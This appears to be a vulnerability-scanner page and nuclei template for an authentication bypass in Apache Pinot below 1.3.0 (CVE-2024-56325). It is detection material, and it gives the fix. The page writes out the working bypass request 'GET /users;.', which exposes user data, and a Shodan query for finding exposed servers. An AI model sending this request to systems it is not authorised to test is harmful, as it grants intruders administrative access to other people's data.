Apache Pinot < 1.3.0 - Authentication Bypass

criticalseverity

9.8CVSS score

80.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

This vulnerability allows remote attackers to bypass authentication on affected installations of Apache Pinot. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AuthenticationFilter class. The issue results from insufficient neutralization of special characters in a URI. An attacker can leverage this vulnerability to bypass authentication on the system.

Impact

Unauthenticated attackers can bypass authentication by injecting special characters in URIs, gaining unauthorized access to Apache Pinot administrative functions.

Fix

Update Apache Pinot to version 1.3.0 or later to address the authentication bypass vulnerability.

How to confirm it

Send: GET /users
Positive when: status 403 or 401
Send: GET /users;.
Positive when: contains "{\"users\"" AND status 200 AND contains in header "Pinot-Controller-"

Run it with nuclei: nuclei -id CVE-2024-56325 -u <target>

The full check

id: CVE-2024-56325

info:
  name: Apache Pinot < 1.3.0 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    This vulnerability allows remote attackers to bypass authentication on affected installations of Apache Pinot. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AuthenticationFilter class. The issue results from insufficient neutralization of special characters in a URI. An attacker can leverage this vulnerability to bypass authentication on the system.
  impact: |
    Unauthenticated attackers can bypass authentication by injecting special characters in URIs, gaining unauthorized access to Apache Pinot administrative functions.
  remediation: |
    Update Apache Pinot to version 1.3.0 or later to address the authentication bypass vulnerability.
  reference:
    - https://www.zerodayinitiative.com/advisories/ZDI-25-109/
    - https://github.com/advisories/GHSA-6jwp-4wvj-6597
    - https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
    - http://www.openwall.com/lists/oss-security/2025/03/27/8
  classification:
    cve-id: CVE-2024-56325
    cwe-id: CWE-288
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    epss-score: 0.80212
    epss-percentile: 0.99621
    cpe: cpe:2.3:a:apache:pinot:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:1696974531
  tags: cve,cve2024,apache,pinot,auth-bypass,vuln

http:
  - raw:
      - |
        GET /users HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 403
          - 401
        internal: true

  - raw:
      - |
        GET /users;. HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"users"'

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - 'Pinot-Controller-'

References

Use this check only on systems you are authorised to test. Where the data comes from